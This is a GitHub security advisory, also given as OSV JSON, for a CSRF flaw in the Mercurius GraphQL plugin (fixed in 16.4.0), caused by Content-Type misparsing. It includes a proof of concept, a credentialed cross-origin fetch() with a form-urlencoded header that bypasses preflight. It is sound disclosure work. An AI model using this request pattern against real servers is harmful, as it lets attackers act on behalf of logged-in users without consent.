GHSA-V66J-6WWF-JC57

Vulnerability from github – Published: 2026-03-05 18:18 – Updated: 2026-03-05 20:42
VLAI?
Summary
Mercurius: Incorrect Content-Type parsing can lead to CSRF attack
Details

Summary

A Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the Content-Type header in requests. Specifically, requests with Content-Type values such as application/x-www-form-urlencoded, multipart/form-data, or text/plain could be misinterpreted as application/json. This misinterpretation bypasses the preflight checks performed by the fetch() API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.

Impact

An attacker could exploit this vulnerability by crafting a malicious request with a Content-Type that Fastify incorrectly parses as application/json. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.

Proof of Concept

// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');

const app = Fastify();
const schema = `
  type Query {
    hello(name: String): String
  }
`;

const resolvers = {
  Query: {
    hello: (_, { name }) => `Hello ${name || 'World'}!`
  }
};

app.register(mercurius, { schema, resolvers });

app.listen(3000, () => {
  console.log('Server listening on http://localhost:3000');
});

// Malicious client-side code
fetch('http://localhost:3000/graphql', {
  method: 'POST',
  body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  credentials: 'include'
});

In the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a Content-Type that Fastify incorrectly parses as application/json.

Mitigation

To address this vulnerability, CSRF protection has been implemented.

References

  • https://github.com/mercurius-js/mercurius/pull/1187
Severity ?
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 16.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mercurius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:18:01Z",
    "nvd_published_at": "2026-03-05T16:16:11Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the `Content-Type` header in requests. Specifically, requests with `Content-Type` values such as `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain` could be misinterpreted as `application/json`. This misinterpretation bypasses the preflight checks performed by the `fetch()` API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.\n\n---\n\n### Impact\n\nAn attacker could exploit this vulnerability by crafting a malicious request with a `Content-Type` that Fastify incorrectly parses as `application/json`. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.\n\n---\n\n### Proof of Concept\n\n```javascript\n// Server-side Fastify setup\nconst Fastify = require(\u0027fastify\u0027);\nconst mercurius = require(\u0027mercurius\u0027);\n\nconst app = Fastify();\nconst schema = `\n  type Query {\n    hello(name: String): String\n  }\n`;\n\nconst resolvers = {\n  Query: {\n    hello: (_, { name }) =\u003e `Hello ${name || \u0027World\u0027}!`\n  }\n};\n\napp.register(mercurius, { schema, resolvers });\n\napp.listen(3000, () =\u003e {\n  console.log(\u0027Server listening on http://localhost:3000\u0027);\n});\n```\n\n```javascript\n// Malicious client-side code\nfetch(\u0027http://localhost:3000/graphql\u0027, {\n  method: \u0027POST\u0027,\n  body: JSON.stringify({ query: \u0027{ hello(name: \"attacker\") }\u0027 }),\n  headers: {\n    \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027\n  },\n  credentials: \u0027include\u0027\n});\n```\n\nIn the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a `Content-Type` that Fastify incorrectly parses as `application/json`.\n\n---\n\n### Mitigation\n\nTo address this vulnerability, CSRF protection has been implemented.\n\n## References\n\n* https://github.com/mercurius-js/mercurius/pull/1187",
  "id": "GHSA-v66j-6wwf-jc57",
  "modified": "2026-03-05T20:42:10Z",
  "published": "2026-03-05T18:18:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mercurius-js/mercurius/security/advisories/GHSA-v66j-6wwf-jc57"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64166"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mercurius-js/mercurius/pull/1187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mercurius-js/mercurius/commit/962d402ec7a92342f4a1b7f5f04af01776838c3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mercurius-js/mercurius"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mercurius: Incorrect Content-Type parsing can lead to CSRF attack"
}


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